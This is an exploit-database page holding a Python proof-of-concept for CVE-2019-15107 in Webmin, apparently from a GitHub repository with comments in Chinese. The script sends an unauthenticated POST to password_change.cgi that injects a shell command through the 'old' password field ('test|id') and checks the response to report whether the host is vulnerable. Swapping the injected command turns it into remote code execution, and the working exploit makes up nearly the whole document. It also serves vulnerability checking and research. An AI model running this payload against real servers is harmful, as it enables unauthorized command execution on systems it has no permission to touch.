Exploit databaseDownload repository ZIP
GH-2642b5b454795ad8b8978972af4f068f
alewong/webminrce-exp-cve-2019-15107-
Sources for CVE-2019-15107
37 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files5
alewong/webminrce-exp-cve-2019-15107-Revision c03950b5728e
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2019-15107-w.py
Python · 2,487 bytes"""
auth: @l3x_wong
version: 1.0
function: Webmin 远程命令执行漏洞(CVE-2019-15107)
usage: python3 script.py ip [port]
note: 只有在发送的user参数的值不是已知Linux用户的情况下(而参考链接中是user=root),才会进入到修改/etc/shadow的地方,触发命令注入漏洞。
"""
import requests
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
import sys
import json
def webmin_check(ip, port='10000'):
vul_url = 'https://' + ip + ':' + port + '/password_change.cgi'
headers = {
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
'Connection': 'close',
'Cookie': 'redirect=1; testing=1; sid=x; sessiontest=1',
'Referer': 'https://' + ip + ':' + port + '/session_login.cgi',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '60',
'cache-control': 'no-cache'
}
payload = {
'user': 'rootxx',
'pam': '',
'expired': '2',
'old': 'test|id',
'new1': 'test2',
'new2': 'test2'
}
#verify:True / False,默认是True,用于验证SSL证书开关
try:
r = requests.post(url=vul_url, headers=headers, data=payload, verify=False)
if r.status_code == 200 and b'Failed to change password : The current password is incorrect' in r.content:
return{
'ip': ip,
'port': port,
'state': 1,
'msg': 'Webmin Unauthenticated Remote Code Execution (CVE-2019-15107) exist'
}
else:
return{
'ip': ip,
'port': port,
'state': 0,
'msg': 'Webmin Unauthenticated Remote Code Execution (CVE-2019-15107) not exist'
}
except:
return {
'ip': ip,
'port': port,
'msg': 'error, may be network error!',
'state': 0
}
if __name__ == '__main__':
if len(sys.argv) == 3:
ip = sys.argv[1]
port = sys.argv[2]
res = webmin_check(ip=ip, port=port)
print(json.dumps(res, indent=4, ensure_ascii=False))
elif len(sys.argv) == 2:
ip = sys.argv[1]
res = webmin_check(ip=ip)
print(json.dumps(res, indent=4, ensure_ascii=False))